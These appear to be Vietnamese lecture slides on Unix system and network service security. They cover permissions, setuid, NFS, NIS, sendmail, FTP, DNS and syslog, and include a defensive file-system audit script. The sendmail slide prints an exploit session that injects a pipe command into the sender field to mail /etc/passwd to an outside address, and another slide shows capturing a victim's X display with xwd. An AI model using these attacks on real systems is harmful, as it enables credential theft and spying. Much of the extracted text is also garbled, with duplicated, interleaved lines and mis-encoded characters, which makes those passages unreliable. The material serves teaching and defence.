File System Security File System Security
HỆ THỐNG TẬP TIN CỦA UNIX HỆ THỐNG TẬP TIN CỦA UNIX iều hành UNIX, không Đối với hệ đđiều hành UNIX, không Đối với hệ ĩa khác nhau. có khái niệm các ổ đđĩa khác nhau. có khái niệm các ổ ộng, toàn bộ Sau quá trình khởi đđộng, toàn bộ Sau quá trình khởi các th ợc ‘gắn ‘ mục và tập tin đưđược ‘gắn ‘ các thưư mục và tập tin lên (mount) và tạo thành một hệ lên (mount) và tạo thành một hệ ầu từ thống tập tin thống nhất, bắt đđầu từ thống tập tin thống nhất, bắt gốc ‘/’ gốc ‘/’
SUN OS File System
kbytes used avail capacity Mounted on
0 0 0 0% /proc 0 0 0 0% /dev/fd
418136 120 418016 1% /tmp
Sun Microsystems Inc. SunOS 5.6 Generic August 1997 $ df -k Filesystem /dev/dsk/c0t0d0s0 192799 131990 41530 77% / /dev/dsk/c0t0d0s6 962983 477544 427661 53% /usr /proc fd /dev/dsk/c0t0d0s3 289207 115445 144842 45% /var /dev/dsk/c0t0d0s5 465775 28807 390391 7% /opt /dev/dsk/c0t0d0s7 1290127 233611 1004911 19% /other /dev/dsk/c0t0d0s1 311983 203961 76824 73% /usr/openwin swap /dev/dsk/c0t1d0s2 4124422 2359571 1723607 58% /squid $
Linux File System
[citd@server citd]$ df -k Filesystem 1024-blocks Used Available Capacity Mounted on /dev/sda1 447044 45006 378948 11% / /dev/sda6 496627 119068 351909 25% /export /dev/sda5 496627 405042 65935 86% /usr /dev/sda7 492657 329963 137249 71% /var [citd@server citd]$
/-------+
!------/usr/sbin !------/usr/local !------/usr/doc
!-------/bin !-------/sbin !-------/usr-------/usr/bin ! ! ! ! !-------/etc !-------/lib !-------/var-------/var/adm !------/var/log !------/var/spool
TƯƠNG ỨNG GIỮA DISK PARTITIONS VÀ CẤU TRÚC TẬP TIN
/
/
/usr
/usr/home
/usr
/squid
/usr/home
/mnt
/mnt/cdrom
/squid
CD
GIỚI THIỆU CÁC THƯ MỤC QUAN TRỌNG CỦA UNIX
/ (THƯ MỤC GỐC ) /bin /sbin /usr/bin /usr/sbin /var /var/log /var/adm /home /export/home (SUNOS)
Quyền và sở hữu tập tin và thư mục của Unix (directory and file permission and ownership)
Kết quả của lệnh ls -l
-rw-r—r— 1 fido users 163 Dec 7 14:31 myfile
Khi moät taäp tin hay thö muïc ñöôïc taïo ra, noù mang owner vaø group cuûa ngöôøi taïo ra noù. Phaàn quyeàn daønh cho user, group, other phuï thuoäc vaøo giaù trò cuûa umask
Umask và các quyền truy nhập tập tin
Ví dụ : [tnminh@pasteur tnminh]$ umask 002 [tnminh@pasteur tnminh]$ echo “tao mot file” > tmp [tnminh@pasteur tnminh]$ ls -l total 5472 -rw-rw-r-- 1 tnminh tnminh 13 Oct 3 21:55 tmp [tnminh@pasteur /etc]$ umask 022 [tnminh@pasteur tnminh]$ echo “tao mot file khac”>tmp1 [tnminh@pasteur tnminh]$ ls -l -rw-rw-r-- 1 tnminh tnminh 13 Oct 3 21:55 tmp -rw-r--r-- 1 tnminh tnminh 18 Oct 3 21:59 tmp1
Dạng nhị phân của quyền truy nhập tập tin và Dạng nhị phân của quyền truy nhập tập tin và ththưư mụcmục
22 11
Quyền truy nhập tập tin chia thành ba nhóm số cho chủ nhân (user), nhóm (group) Quyền truy nhập tập tin chia thành ba nhóm số cho chủ nhân (user), nhóm (group) và còn lại (others) và còn lại (others) read permission read permission 44 write permission write permission Execute permission Execute permission vậy : NhNhưư vậy : : No permissions at all 0 or ——--: No permissions at all 0 or only : read--only 4 or r——: read 4 or r 2 or --ww--: write 2 or only (rare) : write--only (rare) x: execute 1 or ——x: execute 1 or 6 or rw--: read and write 6 or rw : read and write x: read and execute 5 or r--x: read and execute 5 or r wx: write and execute (rare) 3 or --wx: write and execute (rare) 3 or 7 or rwx: read, write, and execute 7 or rwx: read, write, and execute
ổi các thuộc tính của tập tin và thưư
Thay đđổi các thuộc tính của tập tin và th Thay mụcmục
Cách thay đđổi tổi tươương ng đđối :ối : Cách thay chmod g+w myfile thêm khả n chmod g+w myfile chmod o--x myfile chmod o x myfile bớt khả n thêm khả năăng write cho group của myfile ng write cho group của myfile ng chạy của others của myfile bớt khả năăng chạy của others của myfile
ổi tuyệt đđối :ối :
ối vì nó an toàn hơơn.n.
mục, thao tác hoàn toàn tươương ng đươđương.ng.
Cách thay đđổi tuyệt Cách thay chmod 644 myfile => myfile sẽ có quyền rw--rr----rr---- chmod 644 myfile => myfile sẽ có quyền rw Đối với các admin, nên dùng cách tuyệt Đối với các admin, nên dùng cách tuyệt đđối vì nó an toàn h Đối với các thưư mục, thao tác hoàn toàn t Đối với các th chown cho phép ời sở hữu tập tin, ổi ngưười sở hữu tập tin, chown cho phép đđổi ng ổi nhóm của tập tin, Chgrp cho phép đđổi nhóm của tập tin, Chgrp cho phép
setuid và setgid bits setuid và setgid bits
id nghĩa là khi chươương trình ời chủ (owner) của file cho dù ngưười gọi ch ng trình đưđược chạy, nó sẽ có ợc chạy, nó sẽ có ng trình ời gọi chươương trình
bin/sendmail usr/sbin/sendmail
SetSet--useruser--id : Set id : Set--useruser--id nghĩa là khi ch quyền nhưư ngngưười chủ (owner) của file cho dù ng quyền nh là ai i nữa. là ai đđi nữa. Ví dụ : Ví dụ : $ ls $ ls ––l /l /usr/s
group--id cho quyền ch id cho quyền chươương trình nh group của tập tin ng trình nhưư group của tập tin
ều dùng /bin/sh khi login ..
mục này có cùng group mục = tập tin tạo ra trong thưư mục này có cùng group
x root root sendmail rwsr--xrxr--x root root sendmail rwsr TTươương tự, set ng tự, set--group ng trình. chchươương trình. Bit thứ 4 mã giá trị này. 4 = setuid; 2= setgid, Bit thứ 4 mã giá trị này. 4 = setuid; 2= setgid, Nếu /bin/sh có setuid bit set thì ai cũng là root vì owner của /bin/sh là Nếu /bin/sh có setuid bit set thì ai cũng là root vì owner của /bin/sh là root và mọi user đđều dùng /bin/sh khi login root và mọi user setgid cho thưư mục = tập tin tạo ra trong th setgid cho th nhnhưư group của th Setuid cho tập tin = không có tác dụng Setuid cho tập tin = không có tác dụng Sticky bit = user chỉ có quyền xóa file do mình là owner. Ví dụ /tmp Sticky bit = user chỉ có quyền xóa file do mình là owner. Ví dụ /tmp
group của thưư mụcmục
Bảo mật hệ thống bằng kiểm tra setuid và setgid bits
•Tìm tập tin có setuid bit set
•find / -perm -4000 -exec ls -l {} \;
•Tương tự cho setguid :
•Tìm tập tin không user
•find / -nouser -exec ls -l {} \;
•Tìm tập tin viết được
•find / -perm –2 -print
•Tìm tập tin không sở hữa
•find / -nouser -print
-r-s--x--x 1 root root 10704 Apr 15 1999 /usr/bin/passwd
-rws--x--x 2 root root 517916 Apr 7 1999 /usr/bin/suidperl
-rws--x--x 2 root root 517916 Apr 7 1999 /usr/bin/sperl5.00503
-rwsr-sr-x 1 root mail 64468 Apr 7 1999 /usr/bin/procmail
-rwsr-xr-x 1 root root 14036 Apr 16 1999 /usr/bin/rcp
-rwsr-xr-x 1 root root 10516 Apr 16 1999 /usr/bin/rlogin
•Chuù yù : Khoâng neân cho caùc shell script giaù trò setuid hay setgid. Neáu chuùng ta caàn setuid, setgid, vieát chöông trình baèng C hay moät ngoân ngöõ laäp trình töông ñöông.
Một số tập tin "nguy hiểm". Trusted hosts
•/etc/hosts.equiv : Người sử dụng từ một máy có IP trong tập tin này, có cùng account name, có thể sử dụng rlogin và rsh mà không cần vào password trên máy này. Rất may rằng root là một ngoại lệ .
•.rhosts : giống như /etc/hosts.equiv, nhưng kiểm tra host-user. Đặc biệt user có thể tạo .rhosts không thông qua admin. Vì vậy, nên hoàn toàn cấm việc tạo ra .rhosts tại các thư mục cá nhân.
Checksum và checklist
•Lệnh sum cho phép xem xét xem tập tin có bị thay đổi về nội dung hay không. Điều này giúp chúng ta phát hiện được virus vì virus nói chung phải thay đổi nội dung của file.
•Nên chạy sum tại những thư mục mà nội dung không thay đổi về nguyeèn tắc /sbin, /bin . Ghi lại kết quả vào một tập tin và sử dụng sau này để biết những tập tin có checksum thay đổi.
•Checklist (thông qua lệnh ls) cho phép tìm ra những thay đổi của các tập tin hệ thống. Chúng ta, cũng như checksum, nên tạo một file checklist ngay từ đầu. Bằng cách này, chúng ta sẽ biết được các tập tin mới tạo ra không hợp pháp.
Access Control List (ACL)
•Đây là một chuẩn mới của Unix cho phép phân quyền hạn truy nhập vào hệ thống tập tin một cách chi tiết hơn hệ thống của Unix truyền thống. Hệ thống này cho phép ví dụ cả group ggg có quyền đọc và user uuu của group ggg này có quyền đọc và viết.
•Hai lệnh cơ bản của ACL là getfacl và setfacl.
•Nếu chúng ta bổ sung ACL cho một tập tin, chúng ta dùng lệnh
•setfacl -m acl_entry_list filename
•để biết một tập tin có sử dụng ACL, với lệnh ls -l ta có
•-rw-r-----+ ..etc . Dấu + hiển thị rằng tập tin sử dụng ACL
•Có thể sử dụng ACL trên SUN OS 5.6
Network File System (NFS) Network File System (NFS)
NFS, the Network File System has three important characteristics: NFS, the Network File System has three important characteristics:
It makes sharing of files over a network possible. It makes sharing of files over a network possible.
It mostly works well enough. It mostly works well enough.
It opens a can of security risks that are well understood by It opens a can of security risks that are well understood by crackers, and easily exploited to get access (read, write and delete) crackers, and easily exploited to get access (read, write and delete) to all your files. to all your files.
Treân nguyeân taéc, NFS server tin NFS client vaø ngöôïc laïi. Do ñoù, neáu NFS server hay client bò Treân nguyeân taéc, NFS server tin NFS client vaø ngöôïc laïi. Do ñoù, neáu NFS server hay client bò xaâm nhaäp seõ deã daøng daãn ñeán söï xaâm nhaäp vaøo toaøn boä maïng NFS. xaâm nhaäp seõ deã daøng daãn ñeán söï xaâm nhaäp vaøo toaøn boä maïng NFS.
NFS model
Server : eris. /etc/exports /mn/eris/local apollon(rw)
dump fsckorder
Client : apollon mount -o size=1024,wsize=1024 eris:/mn/eris/local /mnt cd /mnt ls –l Or in /etc/fstab # device mountpoint fs-type options eris:/mn/eris/local /mnt nfs rsize=1024,wsize=1024 0 0
NFS Client Security NFS Client Security
the server's root user cannot make a suid root make a suid--root
nosuid option : : the server's root user cannot nosuid option program on the file system, log in to the client as a normal user and program on the file system, log in to the client as a normal user and then use the suid--root program to become root on the then use the suid client.. root program to become root on the client
based Remote Call Procedure (RPC)--based Remote Call Procedure (RPC) services services
-- ñoái vôùi TCP, UDP protocols, port number coù 2 bytes (65536 max.) ñoái vôùi TCP, UDP protocols, port number coù 2 bytes (65536 max.) -- Moãi RPC based coù moät RPC service number duy nhaát 4 bytes (4294 Mports Moãi RPC--based coù moät RPC service number duy nhaát 4 bytes (4294 Mports portmapper ñôïi ôû coång 111 (TCP vaø UDP) -- portmapper ñôïi ôû coång 111 (TCP vaø UDP) -- khi moät RPC based server khôûi ñoäng, noù seõ chieám moät coång TCP hay UDP port, sau ñoù khi moät RPC based server khôûi ñoäng, noù seõ chieám moät coång TCP hay UDP port, sau ñoù thoâng baùo cho portmapper aùnh xaï giöõa soá RPC duy nhaát cuûa noù vaø coâng TCP/UDP thoâng baùo cho portmapper aùnh xaï giöõa soá RPC duy nhaát cuûa noù vaø coâng TCP/UDP noù vöøa nhaän. noù vöøa nhaän.
based server, noù “hoûi “ portmapper vaø khi moät RPC client muoán keát noái vôùi moät RPC--based server, noù “hoûi “ portmapper vaø -- khi moät RPC client muoán keát noái vôùi moät RPC based server ñang ñôïi. ñöôïc bieát coång TCP ma ø RPC--based server ñang ñôïi. ñöôïc bieát coång TCP ma ø RPC
Client vaø server “queân “ portmapper vaø noái tröïc tieáp vôùi nhau. -- Client vaø server “queân “ portmapper vaø noái tröïc tieáp vôùi nhau. Keû xaâm nhaäp coù theå bypass portmapper -- Keû xaâm nhaäp coù theå bypass portmapper
NFS Server Security •root_squash option : Now, if a user with UID 0 on the client attempts to access (read, write, delete) the file system the server substitutes the UID of the servers `nobody' account. Which means that the root user on the client can't access or change files that only root on the server can access or change.
Nhöng root cuûa client coù theå su thaønh bin hay adm vaø coù theå xaâm nhaäp vaøo caùc taäp tin coù owner=bin treân server. Vì vaäy, nhöõng taäp tin binaries hay taäp tin thöôøng quan troïng neân coù owner laø root.
•portmapper vaø nfsd coù theå coù vaán ñeà veà security, cho pheùp thaâm nhaäp traùi pheùp vaøo Server file system. Ñeå khaéc phuïc sô hôû naøy caàn coù portmap: ALL trong taäp tin /etc/hosts.deny vaø portmap: 129.240.223.0/255.255.255.0 trong /etc/hosts.allow ñeå cho pheùp network 129.240.233.0 ñöôïc söû duïng portmapper •Neáu /etc/exports chæ coù file system maø khoâng coù host, moïi host ñeàu coù quyeàn mount file system cuûa server.
Network Information Service (NIS, NIS+) SUN 1990
• NIS is a service that provides information, that has to be known
throughout the network, to all machines on the network. Information likely to be distributed by NIS is: · login names/passwords/home directories (/etc/passwd) · group information (/etc/group)
If, for example, your password entry is recorded in the NIS passwd database, you will be able to login on all machines on the network which have the NIS client programs running. • NIS+ is designed by Sun Microsystems Inc. as a replacement for NIS
with better security and better handling of large installations.
NIS security problems
• Một workstation tham gia vào NIS cần phải có tập tin /etc/passwd với
dòng cuối cùng như sau : • +::0:0::: • Hoặc +:
Nếu ta dùng dòng một và quên dấu +, ta sẽ có một super-user không login
name và không password ;-(. Vì vậy nên dùng dòng lệnh thứ hai)
• Nếu /etc/hosts.equiv chỉ chứa + thì tất cả các user của tất cả các host có tên account như máy này có thể truy nhập không cần password. Chú ý một số Unix, kể cả SUN, cài hosts.equiv chỉ với một dòng như vậy ;-(
#!/bin/sh
#
# fscheck - check file system for insecurities
#
# This should be run as root
#
PATH=/usr/bin:/bin
export PATH
CHECKDIRS="/bin /etc /usr/bin /usr/etc /usr/lib /usr/ucb"
# ls.master is the file to create by command 'ls -alsgR $CHECKDIRS > ls.master
MASTER_LS=ls.master
# sum.master is the file to create by command 'find $CHECKDIRS -type f -exec echo -n {} " " \; -exec sum {} \; > sum.master
MASTER_SUM=sum.master
#
echo"Set-User-Id files found:"
find / -type f -a -perm -4000 -exec ls -aslg {} \;
echo ""
#
echo."Set-Group-Id files found:"
find / -type f -a -perm -2000 -exec ls -aslg {} \;
echo ""
#
#
echo"Device files not located in /dev :"
find / \( -type b -o -type c \) -print) | grep -v '^/dev'
echo ""
#
echo "World writable files and directories : "
find / -perm -2 -exec ls -aslgd {} \;
echo ""
#
#
echo " Files owned by none xistents user or group :"
find / \( -nouser -o -nogroup \) -exec ls -aslgd {} \;
echo ""
#
#
ls -alsgR $CHECKDIRS > /tmp/lschk.$$
#
#
find $CHECKDIRS -type f -exec echo -n {} " " \; -exec sum {} \; > /tmp/sumchk.$$
#
#
echo "Files in $CHECKDIRS whose attributes have changed : "
echo "< = master check list, > = current listing"
diff $MASTER_LS /tmp/lschk.$$
echo ""
#
#
echo "Files in $CHECKDIRS whose checksums have changed:"
echo "< = master check list, > = current listing"
diff $MASTER_SUM /tmp/sumchk.$$
rm -f /tmp/lschk.$$ /tmp/sumchk.$$
exit 0
Bài 3 : Network Service Security
• Trên đây, chúng ta đã đề cập nhiều đến bảo mật chống các xâm nhập thông qua các điểm yếu hay các lỗi cài đặt hệ thống của hệ điều hành UNIX.
• Chúng ta sẽ chuyển sang xem xét các xâm nhập thông qua các dịch mà
máy Unix mở ra cho mạng.
Inetd và /etc/inet.conf
•
•
•
•
•
•
•
•
•
•
•
• inetd được sử dụng để khởi động các daemon cung cấp các dịch vụ mạng. inetd đợi
các nối mạng sau một số cổng. Khi có yêu cầu kết nối, inetd sẽ gọi chương trình
server tương ứng để thiết lập các kết nối.
inetd sẽ đọc file /etc/inetd.conf khi được gọi lên bộ nhớ .
#
Inetd và security
• /etc/inet.conf có thể dùng để giải quyết một số vấn đề về bảo mật như sau :
- Nếu chúng ta không muốn sử dụng dịch vụ nào, chúng ta chỉ việc đơn giản đặt dấu # trước dòng cấu hình kết nối đó. Với những máy tính đòi hỏi bảo mật cao, quy tắc chung là cấm hết tất cả các dịch vụ mà chúng ta không cần hoặc không biết.Trong trường hợp máy hoạt động không bình thường, chúng ta bỏ dần các chú thích # và như vậy chúng ta sẽ hiểu chức năng của các dịch vụ. - Các dịch vụ nên xem xét bỏ là finger, tftp, talk - Với dịch vụ đang có vấn đề về bảo mật nhưng không cắt đi được, chúng ta có thể giảm quyền của dịch vụ bằng cách thay thông tin trong trường user
Email, SMTP và Sendmail
•
•
- Email là dịch vụ cơ bản và phổ biến nhất của Internet. Giao diện dùng cho kết nối Email là SMTP (Simple Mail Transfer Protocol). - Sendmail là một SMTP server phổ biến nhất. Mặc dù sendmail đã bị nhiều "tai tiếng " về bảo mật trong lịch sử phát triển, nhưng đến hiện nay vẫn chưa có một chương trình nào có khả năng thay thế sendmail, nhất là về mặt tính năng. Nguyên nhân của các bug của sendmail là vì sendmail khá dài và phức tạp (#30.000 dòng lệnh), đồng thời khi chạy trên bộ nhớ, sendmail phải có quyền như root để thực hiện nhiệm vụ của mình. Tuy nhiên, do có nhiều người sử dụng sendmail, lỗi của sendmail sẽ được tìm ra rất nhanh chóng và được thông báo rộng rãi cho phép sửa chữa nhanh chóng.
•
2 con đường thâm nhập qua Mail Server
1. Qua các lệnh mà mail server nhận từ ngoài : command channel attacks. Morris worm đã sử dụng con đường này bằng cách sử dụng lỗi debug của sendmail
2. Qua nội dung của mail : data-driven attacks. Các chương trình Mail Server đều sử dụng một chương trình mail local để gửi/nhận thư nội bộ của máy, giao diện với người sử dụng. Trên Unix, đó thường là /bin/mail. Nếu /bin/mail có bug, kẻ xâm nhập có thể bắt /bin/mail thực hiện các lệnh ghi trong body của mail. Thư điện tư ngày nay thường là Multimedia, do đó cần những chương trình ngoài để “đọc “ thư. Chương trình ngoài nào “đọc “ thư và “đọc “ như thế nào là ngoài tầm kiểm soát của các chương trình mail cổ điển. Ví dụ như một lễ giáng sinh, mạng của IBM bị tê liệt bị phải gửi một cách tự động hàng triệu mail có nhạc của lễ giáng sinh. Hãy cẩn thận với những thư với nội dung khuyên bạn đổi password sang một password mới từ admin, hay báo cho nhà băng code cá nhân của card visa của bạn.
Kiểm tra sendmail đang chạy
•Các điểm cần kiểm tra : •Dùng version mới. Cần kiểm tra version của sendmail vì một số version cũ có vấn đề liên quan tới bảo mật hệ thống •$ telnet pasteur.bvt.hcm 25 •220 pasteur.bvt.hcm ESMTP Sendmail 8.9.3/8.9.3; Wed, 17 Nov 1999 04:46:35 +0700
Một số chức năng wiz, debug không được có
220 pasteur.bvt.hcm ESMTP Sendmail 8.9.3/8.9.3; Wed, 17 Nov 1999 04:46:35 700
wiz
500 Command unrecognized: "wiz"
Debug
500 Command unrecognized: "debug"
Nếu debug set thì version sendmail của bạn cần phải thay
Ví dụ một lỗi của sendmail
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
250 "|/bin/mail zen@ecil.com < /etc/passwd" … sender OK
550 nosuchuser … User unknow
354 Enter mail, end with "." on a line by itself . 250 Mail accepted
• telnet victim.com 25 • Trying 128.128.128.1 … • Connected to victim.com • Escape character is '^]'. • • Mail from : "|/bin/mail zen@ecil.com < /etc/passwd" • • Rcpt to : nosuchuser • • Data • • • • Quit • Connection closed by foreign host. •
$
FTP
• File Transfer Protocol được thực hiện bởi ftp và ftpd. Cần sử dụng ftpd sau 1989
•Để bảo mật ftp cần cấu hình tốt cho anonymous FTP
•tạo account ftp và * cho trường password để không login
•tạo home directory cho account ftp (ví dụ /home/ftp)
•thư mục này owner =ftp và không ai được ghi
•chown ftp ~ftp
•chmod 555 ~ftp
•tạo các thư mục bin,etc, usr tùy thuộc theo yêu cầu của Unix đang sử dụng và các thư mục này đều có quyền 555
•chép tập tin passwd và group vào ~ftp/etc. Xóa tất cả các account, trừ ftp. 2 tập tin này có quyền 444
ftp (2) ftp (2)
Chép ls vào ~ftp/bin với quyền 111 •• Chép ls vào ~ftp/bin với quyền 111
•• Tạo th
Tạo thưư mục ~ftp/pub với quyền 577, owner ftp. mục ~ftp/pub với quyền 577, owner ftp. Anonymous connection sẽ dùng ftp account. Anonymous connection sẽ dùng ftp account.
•• Hiện nay, nếuchúng ta cài
ftp, các quyền của các ặt wu--ftp, các quyền của các
Hiện nay, nếuchúng ta cài đđặt wu ợc làm tự đđộngộng mục này sẽ đưđược làm tự ththưư mục này sẽ
Ví dụ ftp config của RedHat 6.0 •• Ví dụ ftp config của RedHat 6.0
•• [tnminh@pateur /home]$ ls
[tnminh@pateur /home]$ ls --ll
••
total 9 total 9
•• drwxr
x 6 root root 1024 Mar 21 1999 ftp drwxr--xrxr--x 6 root root 1024 Mar 21 1999 ftp
•• drwxr
x 2 root nobody 1024 Apr 16 1999 samba drwxr--xrxr--x 2 root nobody 1024 Apr 16 1999 samba
ftp (3) [tnminh@pateur /home]$ ls -l ftp
•
total 4 •
• d--x--x--x 2 root root 1024 Nov 5 02:15 bin
• d--x--x--x 2 root root 1024 Nov 5 02:15 etc
• drwxr-xr-x 2 root root 1024 Nov 5 02:15 lib
• dr-xr-sr-x 2 root ftp 1024 Mar 21 1999 pub
[tnminh@pateur /home]$ •
[root@pateur etc]# more ~ftp/etc/passwd •
• root:*:0:0:::
• bin:*:1:1:::
• operator:*:11:0:::
• ftp:*:14:50:::
• nobody:*:99:99:::
• [root@pateur etc]#
ftp (4) : /etc/ftpusers
•
/etc/ftpusers chứa những account không dược nối vào qua ftp, ví dụ như root, bin …
• Ví dụ /etc/ftpusers của Linux Redhat 6.0
[root@pateur /tmp]# more /etc/ftpusers •
• root
• bin
• daemon
• adm
• lp
• sync
•shutdown
•halt
•news
•uucp
•operator
•games
•nobody
•[root@pateur /tmp]#
•Tập tin /etc/shells chứa các shells mà các user được sử dụng như bash, sh, ash, bsh ...
tftp • Do tftp không đòi hỏi password, chú ý vấn đề bảo mật với tftp.
• Tftp của SUNOS trước 4.0 có lỗi cho phép get các tập tin, ngay cả
của /etc. Cần thay version này.
Domain Name System (DNS)
• Lỗi đầu tiên của DNS là DNS server và client không kiểm tra xem trả lời mà nó có là từ các server mà nó hỏi hay từ một nguồn nào đó .Server có thể cache những thông tin sai lạc này và sử dụng khi có câu hỏi.
• Ví dụ, kẻ xâm nhập có thể nói cho server IP của máy của họ chính là máy mà bạn tin tưởng (trusted) và máy của học có thể rlogin không qua password.
• BIND Version 4.9 có sửa được lỗi kể trên
• Trên một số OS (ví dụ SUNOS 4.x), quá trình lookup/double
reverse lookup được tự động thực hiện. Tức là DNS sẽ tìm IP-> Name rồi Name -> IP và kiểm tra 2 IP xem có khớp không. Tuy nhiên phương pháp này không loại bỏ được hoàn toàn lỗi của DNS.
Social Engineering attack • DNS thường cho rất nhiều thông tin về mạng nội bộ như tên máy, kiểu máy … Kẻ xâm nhập với những thông tin này có mạo nhận là kỹ thuật viên bảo hành đến yêu cầu được coi máy và có thể hỏi password
• Làm sao không cho kẻ xâm nhập quá nhiều thông tin ? Có
phương án làm 2 DNS server; một đặt tại trong firewall và có nhiều thông tin. DNS thứ hai nằm ngoài và chỉ có một số rất thông tin tối thiểu cho kết nối của mạng. Hai trường HINFO và TXT thường chứa nhiều thông tin hoàn toàn chỉ cho nội bộ .
Internet
Real DNS server
Fake DNS server
P A C K E T
DNS Client
DNS Client
DNS Client
F I L T E R
Setup fake and real servers • Fake server là primary server server cho domain của bạn.
Primary server cần phải có đủ thông tin về các máy cần nối trực tiếp ra Internet như www, ftp, news … servers. Các thông tin phải cho phép làm được double reverse lookup vì ngày nay rất phát triển các ftp, mail servers phục vụ chỉ sau khi quá trình double reverse lookup thành công
• Real DNS server có chứa forwarders directive trỏ ra fake server và real server là slave server. Như vậy real server sẽ hỏi fake server với những address mà nó không biết.
• Real server có thể có tất cả các chi tiết về mạng nội bộ để trả lời
cho các DNS client trong mạng nội bộ mà không một người ngoài nào có thể tìm được thông tin này. Ngay cả DNS client của máy ngoài có Fake DNS server cũng hỏi vào real server thông qua resolv.conf
SYSLOG SYSLOG
/etc/syslog.conf|
The facility is one of the following keywords: auth, auth-priv, cron, daemon, kern, lpr, mail, mark, news, security (same as auth), syslog, user, uucp and local0 through local7. The keyword security should not be used anymore and mark is only for internal use and therefore should not be used in applications. Anyway, you may want to specify and redirect these messages here. The facility specifies the subsystem that produced the message, i.e. all mail programs log with the mail facility (LOG_MAIL) if they log using syslog.
The priority is one of the following keywords, in ascending order: debug, info, notice, warning, warn (same as warning), err, error (same as err), crit, alert, emerg, panic (same as emerg). The keywords error, warn and panic are deprecated and should not be used anymore. The priority defines the severity of the message
Noùi chung, /var/adm/messages chöùa caùc thoâng tin lieân quan tôùi caùc quaù trình logon. Ñaëc bieät caàn phaûi chuù yù ñeán phaàn login bôûi root. Neân coù quy taéc chung laø login vôùi account thöôøng roài su khi caàn thieát ñeå bieát ai laø ngöôøi söû duïng quyeàn root.
Coù theå config /etc/syslog.conf ñeå log caùc thoâng tin qua moät maùy khaùc.
SYSLOG (2) SYSLOG (2)
/etc/syslog.conf
# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.*
/dev/console
# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;news.none;authpriv.none
/var/log/messages
# The authpriv file has restricted access.
authpriv.*
/var/log/secure
# Log all the mail messages in one place.
mail.*
/var/log/maillog
# Everybody gets emergency messages, plus log them on another
# machine.
*.emerg *
/etc/syslog.conf /etc/syslog.conf
# Save mail and news errors of level err and higher in a
# special file.
uucp,news.crit /var/log/spooler
# Save boot messages also to boot.log
local7.* /var/log/boot.log
#
# INN
#
news.=crit /var/log/news/news.crit
news.=err /var/log/news/news.err
news.notice /var/log/news/news.notice
[root@pateur /tmp]#
TCPDUMP
•
tcpdump là tiện ích cho phép theo dõi các mối nối (connections). Đây là một công cụ rất mạnh cho phép bảo trì mạng thông tin, đồng thời theo dõi nếu có các toan tính thâm nhập.
• Một số options thường dùng :
Lấy thông tin trên màn hình • Bằng một số lệnh, người xâm nhập có thể chép nội dung của
màn hình của người khác
• xwd -display victim:0 -root >screen.out
• xwud -in screen.out
Summary • Xem xét /etc/inetd.conf, bỏ các service không cần thiết, nhất là trên các bastion host. Thay đổi user của các service thành các user "yếu " hơn, ví dụ finger chạy với nobody,
• Kiểm tra kỹ cài đặt ftp, thử khả năng write (upload) của
anonymous ftp,
• Kiểm tra phiên bản của sendmail, /bin/mail, named, finger, tftp,
• Cấu hình hệ thông syslog
• Theo dõ các connection bằng tcpdump hoặc chương trình
tương đương